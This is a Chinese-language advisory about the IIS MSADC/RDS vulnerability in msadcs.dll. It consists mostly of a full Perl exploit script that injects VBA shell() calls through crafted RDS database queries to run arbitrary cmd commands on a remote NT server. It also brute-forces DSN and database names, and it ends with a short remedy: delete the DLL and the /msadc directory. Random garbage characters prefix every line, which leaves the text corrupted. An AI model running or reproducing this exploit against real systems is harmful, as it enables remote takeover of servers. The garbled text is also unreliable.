IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{'h)
I h5/=_n 涉及程序：
^:qpa 5^" Microsoft NT server
X
QI.0L" dK:l&R 描述：
| \Ab L!u 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7J0 ^N7"o !8wZw68" 详细：
+A'}PXm*tu 如果你没有时间读详细内容的话，就删除:
v>JB
rIb$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
!}iL O0 有关的安全问题就没有了。
;X+G6F' }UyzM y, 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
h{Oz*Bq Sja"( sJ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U,oD44 关于利用ODBC远程漏洞的描述，请参看:
4aj[5fhb- t9-_a5>E\} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm F(T=WR].o zd?bHcW/h 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$~
pr+Ei http://www.microsoft.com/security/bulletins/MS99-025faq.asp F6RyOUma M /n[& 这里不再论述。
~z\pI|DQ L@C >-F|p 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
wlm3~B\64 sqm%iyC=q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2A dX)iF@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
lH6Cd/a ph Wc 8[Q :GN)7|: #将下面这段保存为txt文件，然后: "perl -x 文件名"
~| X99?P ODM>Z8@W/ #!perl
9)G:::8u7 #
,$hQ(yF # MSADC/RDS 'usage' (aka exploit) script
SlH7-"Ag #
,2=UuW"K # by rain.forest.puppy
,m #@%fa #
;s}-X_ O< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
d/0/$Bz}P # beta test and find errors!
X !&"&n NTv#{7q use Socket; use Getopt::Std;
wo,""=l getopts("e:vd:h:XR", \%args);
X;K8,A7` e1f^ : C print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uKLOh<oio ,
I[^3Fn if (!defined $args{h} && !defined $args{R}) {
27h/6i3 print qq~
t9 KH|y Usage: msadc.pl -h <host> { -d <delay> -X -v }
U p]VU9z -h <host> = host you want to scan (ip or domain)
5*G8W\
$ -d <seconds> = delay between calls, default 1 second
Y;a6:>D%cT -X = dump Index Server path table, if available
J,dG4. ht -v = verbose
}M"-5K} -e = external dictionary file for step 5
>i><s>=I` "wc`fg"3 Or a -R will resume a command session
[15hci+- &* V0( ~; exit;}
Sa?~t3*H ~G|{q VO7A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
>#${.+ y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9*G L@_c if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
sg! =Q+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
c]cO[T_gGa $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J@u!S~&r if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
u APLT~ 1A,4 Aw< if (!defined $args{R}){ $ret = &has_msadc;
=$:4v`W0( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y\\3g_YBF n:}MULy; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[ *mCa:^ . "cmd /c ";
rsIt~w $in=<STDIN>; chomp $in;
"K4X:|Om" $command="cmd /c " . $in ;
N 7j]yvE F M@W >+ if (defined $args{R}) {&load; exit;}
;-<<1Jz/2 K'{ wncumQ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
e!:?_z." &try_btcustmr;
.@x"JI> ; 'vf,T4uQ" print "\nStep 2: Trying to make our own DSN...";
,M+h9_&0? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S7\ |/h :4 nU">> 1!U print "\nStep 3: Trying known DSNs...";
d-A%ZAkE] &known_dsn;
>mGG JvTx `Tm 8TZd66 print "\nStep 4: Trying known .mdbs...";
tyG nG0GK &known_mdb;
^{6UAT~!R l*m ]2"n] if (defined $args{e}){
sKE*AGFL d print "\nStep 5: Trying dictionary of DSN names...";
*y[~k WI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\8C*O{w egIS rmL+X print "Sorry Charley...maybe next time?\n";
34O+#0<y~ exit;
f|[5&,2< JydQA_ ##############################################################################
.{Eg(1At 9X^-)G> sub sendraw { # ripped and modded from whisker
J^ <j=a|D sleep($delay); # it's a DoS on the server! At least on mine...
|)>G eE my ($pstr)=@_;
><Mbea=U+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
q4IjCu+ die("Socket problems\n");
)}zA,FOA* if(connect(S,pack "SnA4x8",2,80,$target)){
Qbe{/ select(S); $|=1;
#L+s%OJ` print $pstr; my @in=<S>;
o^.s!C%j select(STDOUT); close(S);
,XF6Xsg2 return @in;
cbg3b i } else { die("Can't connect...\n"); }}
lw/
m0}it 4*ty&s=5OJ ##############################################################################
'ame x bj* v' sub make_header { # make the HTTP request
hc4`' r; my $msadc=<<EOT
&55uT;7] a POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
XTn{1[.O User-Agent: ACTIVEDATA
og h2kht Host: $ip
T l0+Bq Content-Length: $clen
]cO$ E=W Connection: Keep-Alive
~9{-I{= 2Dwt4V ADCClientVersion:01.06
-7Y'6''~W. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9M-]~.O Z!5m'yZO --!ADM!ROX!YOUR!WORLD!
enfu%"(K) Content-Type: application/x-varg
5SPl#* W Content-Length: $reqlen
0ju wDd }M"'K2_Z EOT
0" D?.E"$r ; $msadc=~s/\n/\r\n/g;
#ui%=ja[:~ return $msadc;}
`\/Wa h}I HN&vk/[ ##############################################################################
X|QX1dl w|U@jr*H] sub make_req { # make the RDS request
$K>d \{@+7 my ($switch, $p1, $p2)=@_;
-iZ js my $req=""; my $t1, $t2, $query, $dsn;
J~ gkGso |GLn
9vw7S if ($switch==1){ # this is the btcustmr.mdb query
8aM%
9OU $query="Select * from Customers where City=" . make_shell();
SUQ}^g n] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Vm5P@RU$w; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Yhv`IV-s r q|cz Q elsif ($switch==2){ # this is general make table query
TY{? 4 $query="create table AZZ (B int, C varchar(10))";
t+Tg@~K2[> $dsn="$p1";}
u[% J#S ?[|4 QzR elsif ($switch==3){ # this is general exploit table query
MrygEC 5 $query="select * from AZZ where C=" . make_shell();
"9Fv!*<-W $dsn="$p1";}
@0x.n\M_ tGy%n[ \ elsif ($switch==4){ # attempt to hork file info from index server
cqU/Y_%l' $query="select path from scope()";
\=: g$_ l $dsn="Provider=MSIDXS;";}
;U:o'9^9T zYl+BM-j,6 elsif ($switch==5){ # bad query
]8j5Ou6#y $query="select";
1oVD Oo $dsn="$p1";}
uC$4TnoQx. {&AT} 7 $t1= make_unicode($query);
xN~<<PIZ $t2= make_unicode($dsn);
b|pNc'u:Cn $req = "\x02\x00\x03\x00";
dIh(~KqB $req.= "\x08\x00" . pack ("S1", length($t1));
|Z)/ $req.= "\x00\x00" . $t1 ;
&T 4Cn@ $req.= "\x08\x00" . pack ("S1", length($t2));
_\V{X}ftqa $req.= "\x00\x00" . $t2 ;
x +j/v5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5D@ Q1 return $req;}
Q?'W >^*J KHC (MdZ ##############################################################################
} j y7,+ Iw-6Z+ 94 sub make_shell { # this makes the shell() statement
&[\arwe) return "'|shell(\"$command\")|'";}
dodz|5o% gQz F C&g ##############################################################################
IaZAP G}OrpPP sub make_unicode { # quick little function to convert to unicode
6/[h24d my ($in)=@_; my $out;
er}'}n`@q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
`1}yB return $out;}
m`w6wz \ VzQ1B>k ##############################################################################
J +Y|# U :<|fZa4!" sub rdo_success { # checks for RDO return success (this is kludge)
Wh&Z *J my (@in) = @_; my $base=content_start(@in);
cN(QTbyl6Q if($in[$base]=~/multipart\/mixed/){
m3ZOq
B- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
91'^--N return 0;}
zCN;LpbEJY !{- 3:N7 ##############################################################################
x-P_}}K 79 .6]cu{K( sub make_dsn { # this makes a DSN for us
W;j)ux7jMY my @drives=("c","d","e","f");
ntUVhIE0 print "\nMaking DSN: ";
!Kn+*' # foreach $drive (@drives) {
PDiorW}]k print "$drive: ";
Ts *'f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(?=(eo<N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ku8Z;ONeH . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s`#j8>`M
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uX! y, a/" return 0 if $2 eq "404"; # not found/doesn't exist
HAOrwJFqU if($2 eq "200") {
mTu9'/$( foreach $line (@results) {
5 BG&r*U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
CKK5+ } return 0;}
JQv
ZTwSI Xrs ~ove1V ##############################################################################
#nL0Hx7]E gnK!"!nL sub verify_exists {
I BHG1<3 my ($page)=@_;
Tl{r D(D my @results=sendraw("GET $page HTTP/1.0\n\n");
W5yu`Br return $results[0];}
+2enz!z#k r/w@Dh]{_ ##############################################################################
[<yUq zm {;gWn' aq sub try_btcustmr {
@MVZy my @drives=("c","d","e","f");
lY8Qy2k| my @dirs=("winnt","winnt35","winnt351","win","windows");
r3K: w 'j]Y% foreach $dir (@dirs) {
[?(W7 print "$dir -> "; # fun status so you can see progress
O-m} P foreach $drive (@drives) {
AZP>\Dq print "$drive: "; # ditto
P =Gb $reqlen=length( make_req(1,$drive,$dir) ) - 28;
zT zG&B- $reqlenlen=length( "$reqlen" );
Q9
" , $clen= 206 + $reqlenlen + $reqlen;
aj~@r3E ; {?_)m/\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S`-IQ,*} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0To
5| r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LA3,e (e T"lqPbK ##############################################################################
MO+0]uh: , l"2MXD sub odbc_error {
%6?}gc_ my (@in)=@_; my $base;
P ?-44m# my $base = content_start(@in);
e=$xn3)McY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!I
P* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I!@` _Q9N $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(8/xSOZ[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|/ 7's' return $in[$base+4].$in[$base+5].$in[$base+6];}
LxGh *7K- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`{[C4]Ew/ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>sY+Y 22U $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6<O]_ HZ& %-1-J<<J
q ##############################################################################
;0{*V5A KPr xw }P sub verbose {
G-> @ my ($in)=@_;
`{;&Qcg6m return if !$verbose;
Y)5}bmL print STDOUT "\n$in\n";}
uv d> (S{c*"}2 ##############################################################################
W u{nC .;Yei6H sub save {
NV ~i4R*# my ($p1, $p2, $p3, $p4)=@_;
?Cl"jcQ* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
D~);:}}> print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bm|8Jbsb & close OUT;}
jt*@,+e| J x7^|A ##############################################################################
T!$HVHh&,} LZ$!=vg4 sub load {
`84yGXLK my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x$4'a~E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
XA k l,Y @p=<IN>; close(IN);
)^3655mb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o*8 pM`uw $target= inet_aton($ip) || die("inet_aton problems");
W{2 y*yqY print "Resuming to $ip ...";
l;i
u` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
breV TY7 S if($p[1]==1) {
DSa92:M} $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(b5af_ c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X ^)5O>>|t my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ue%5
:Sdr if (rdo_success(@results)){print "Success!\n";}
]>j_
Y , else { print "failed\n"; verbose(odbc_error(@results));}}
-': tpJk elsif ($p[1]==3){
BGOI if(run_query("$p[3]")){
YkbLf#2AE| print "Success!\n";} else { print "failed\n"; }}
KO7cZME elsif ($p[1]==4){
H2-( if(run_query($drvst . "$p[3]")){
bBL"F!. print "Success!\n"; } else { print "failed\n"; }}
J]e&z5c exit;}
2j|Eh
".=EAXVU ##############################################################################
)Qp?LECrt "[ ,XS` sub create_table {
-JkO[ IF my ($in)=@_;
0}!lN{m? $reqlen=length( make_req(2,$in,"") ) - 28;
h<q`` hn> $reqlenlen=length( "$reqlen" );
T!r7RS $clen= 206 + $reqlenlen + $reqlen;
T9yW# . my @results=sendraw(make_header() . make_req(2,$in,""));
F*u;'K return 1 if rdo_success(@results);
c7 - j my $temp= odbc_error(@results); verbose($temp);
|&.)_ +w return 1 if $temp=~/Table 'AZZ' already exists/;
5}VP-04vh return 0;}
l "Q8 ` $tJJ
>" ##############################################################################
2q bpjm (6b%;2k
sub known_dsn {
?U [AE -* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
W@Wh@eSb; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
6OUj c "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
irS62Xe "banner", "banners", "ads", "ADCDemo", "ADCTest");
-0Ek&"=Z^ 6cvm\ opH foreach $dSn (@dsns) {
4kEFbzwx print ".";
otx7J \4 next if (!is_access("DSN=$dSn"));
L|Iq#QX| if(create_table("DSN=$dSn")){
d)H K9T|B print "$dSn successful\n";
FB`H wE < if(run_query("DSN=$dSn")){
^TGHWCK!t print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lw{| ~m5` print "Something's borked. Use verbose next time\n";}}} print "\n";}
c+c ^F/ Uyh #g^r ##############################################################################
fAi113q! d29HEu sub is_access {
A
|B](MW%O my ($in)=@_;
u ""= 9>0 $reqlen=length( make_req(5,$in,"") ) - 28;
QO%K`}Q} $reqlenlen=length( "$reqlen" );
Uw!v=n3#! $clen= 206 + $reqlenlen + $reqlen;
WF7RMQ51j my @results=sendraw(make_header() . make_req(5,$in,""));
J0k~% my $temp= odbc_error(@results);
J \BdC]; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
=W =%!A\g return 0;}
_!ed.h.r: ;K!Or ##############################################################################
Z:{Z&HQC ;f?bb*1 sub run_query {
kaLRI|hC my ($in)=@_;
|9h[Q[m $reqlen=length( make_req(3,$in,"") ) - 28;
~Q0}>m,S $reqlenlen=length( "$reqlen" );
+gkB $clen= 206 + $reqlenlen + $reqlen;
g`1i[ Iu2 my @results=sendraw(make_header() . make_req(3,$in,""));
N C& 1l] return 1 if rdo_success(@results);
4$rO,W/&0 my $temp= odbc_error(@results); verbose($temp);
=/;(qy9.-R return 0;}
Q\Eq(2p @{G(. S ##############################################################################
l;ugrAo? !ibp/:x sub known_mdb {
e;$s{CNo my @drives=("c","d","e","f","g");
xnTky1zq my @dirs=("winnt","winnt35","winnt351","win","windows");
N
Jf''e3 my $dir, $drive, $mdb;
7pNh| #Uv' my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h7{W-AtM7_ G[mYx[BTz # this is sparse, because I don't know of many
BeRn9[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
~H.;pJ{ 8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
jB;+tDC!Co "\\system32\\certmdb.mdb",
8I'?9rt2M "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
bYz:gbs]4| 7%tn+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&fcRVku "\\cfusion\\cfapps\\forums\\forums_.mdb",
Nb6HM~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
W*0KAC`m "\\cfusion\\cfapps\\security\\realm_.mdb",
z{ 8!3>:E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]5/ C" "\\cfusion\\database\\cfexamples.mdb",
&1&*(oi]X "\\cfusion\\database\\cfsnippets.mdb",
8{RiaF8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
b#F3,T__`Y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>HDK< 1 > "\\cfusion\\brighttiger\\database\\cleam.mdb",
?s//a_nL* "\\cfusion\\database\\smpolicy.mdb",
)`)cB)s "\\cfusion\\database\cypress.mdb",
86 i =N _ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0bor/FU-d "\\website\\cgi-win\\dbsample.mdb",
-(jcsqDk "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
$ _ y"P "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#S"=)BZ 8L ); #these are just
a?;{0I:Ln foreach $drive (@drives) {
PrCq
JY foreach $dir (@dirs){
pd| s7 foreach $mdb (@sysmdbs) {
IpWl;i`__ print ".";
o]vd xkU] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|G 1U $p print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
jH8F^KJM[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
bvoR?D\-" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xn-n{U" } else { print "Something's borked. Use verbose next time\n"; }}}}}
}\@*A1*X2 ms?h/*E<H foreach $drive (@drives) {
]k hY8it foreach $mdb (@mdbs) {
QAR<.zXvP print ".";
(b(iL\B$D= if(create_table($drv . $drive . $dir . $mdb)){
MKbW ^: print "\n" . $drive . $dir . $mdb . " successful\n";
\oi=fu=}* if(run_query($drv . $drive . $dir . $mdb)){
-6? 5|\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
@c/~qP4 } else { print "Something's borked. Use verbose next time\n"; }}}}
i}!CY@sW }
)3 ;S;b $V[ ob ##############################################################################
j8lbn |. js{ RaR= sub hork_idx {
] !/1qF print "\nAttempting to dump Index Server tables...\n";
(qaY,>je]D print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
fE(rDQI $reqlen=length( make_req(4,"","") ) - 28;
,QK>e;:Be $reqlenlen=length( "$reqlen" );
q|~9%Pujg $clen= 206 + $reqlenlen + $reqlen;
EprgLZ1B my @results=sendraw2(make_header() . make_req(4,"",""));
1&dWt_\ if (rdo_success(@results)){
m^wY RA. my $max=@results; my $c; my %d;
qwN-VCj for($c=19; $c<$max; $c++){
oOuWgr]0 $results[$c]=~s/\x00//g;
u~K4fP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7&X^y+bMe6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
zEu*q7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4FYws5]$ $d{"$1$2"}="";}
NEX\+dtE~0 foreach $c (keys %d){ print "$c\n"; }
]1klfp,` } else {print "Index server doesn't seem to be installed.\n"; }}
Ij" `pdp W<~(ieu:K~ ##############################################################################
km *$;Nli XRZm g " sub dsn_dict {
3N;X|pa open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_ W $4Qn+f while(<IN>){
"Li"NxObCA $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4h-y'&Z next if (!is_access("DSN=$dSn"));
Gv <K#@9T if(create_table("DSN=$dSn")){
E0GpoG5C print "$dSn successful\n";
Pd>hd0!.% if(run_query("DSN=$dSn")){
Mq$e5&/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BsxQW`>^y print "Something's borked. Use verbose next time\n";}}}
f;QWlh"9 print "\n"; close(IN);}
NbSwn }e_ =x= #Etj| ##############################################################################
|S/nq_g] =l
{>-`: sub sendraw2 { # ripped and modded from whisker
5{{u #W%= sleep($delay); # it's a DoS on the server! At least on mine...
gz eG5p my ($pstr)=@_;
Ra.<D. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<CeDIX t die("Socket problems\n");
aaLT% if(connect(S,pack "SnA4x8",2,80,$target)){
IXg0g<JZ print "Connected. Getting data";
@@+\ open(OUT,">raw.out"); my @in;
xK
/NzVt select(S); $|=1; print $pstr;
D{ c`H}/ ` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6%:N^B=%} close(OUT); select(STDOUT); close(S); return @in;
H1+G:TM } else { die("Can't connect...\n"); }}
uA,K}sNRZ dqcfs/XhP ##############################################################################
s@0#w*N h T4fKc7P sub content_start { # this will take in the server headers
z1s9[5 my (@in)=@_; my $c;
x#U?~6.6 for ($c=1;$c<500;$c++) {
WG9x_X&XJ if($in[$c] =~/^\x0d\x0a/){
zDC-PHF HQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
rqifjsv else { return $c+1; }}}
s<n5^Vxy return -1;} # it should never get here actually
[5> 0om5 i,,U D ##############################################################################
hV_0f_Og 9^XT,2Wwf sub funky {
\=1k29O my (@in)=@_; my $error=odbc_error(@in);
=Bl#CE)X if($error=~/ADO could not find the specified provider/){
H~fZA)W 4Y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$kg!XT{ V exit;}
&vo]l~. if($error=~/A Handler is required/){
;4%^4<+3 print "\nServer has custom handler filters (they most likely are patched)\n";
> AJtoJ=j exit;}
2UA h^i-^ if($error=~/specified Handler has denied Access/){
flnoK%wi print "\nServer has custom handler filters (they most likely are patched)\n";
V 9][a exit;}}
// g~1( Vc}m_ T]O ##############################################################################
CKyX Z `G,\=c~{A sub has_msadc {
y~jTI[kS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
L=?Yc*vg my $base=content_start(@results);
}m(u o T~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
&*r YY\I return 0;}
&?v^xAr?B QXn iWJJ ########################
[.;VCk)0x EX=Q(} 9F< u9_ Fjm}& 解决方案：
UJ2T j+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g#W )EXUR 2、移除web 目录: /msadc
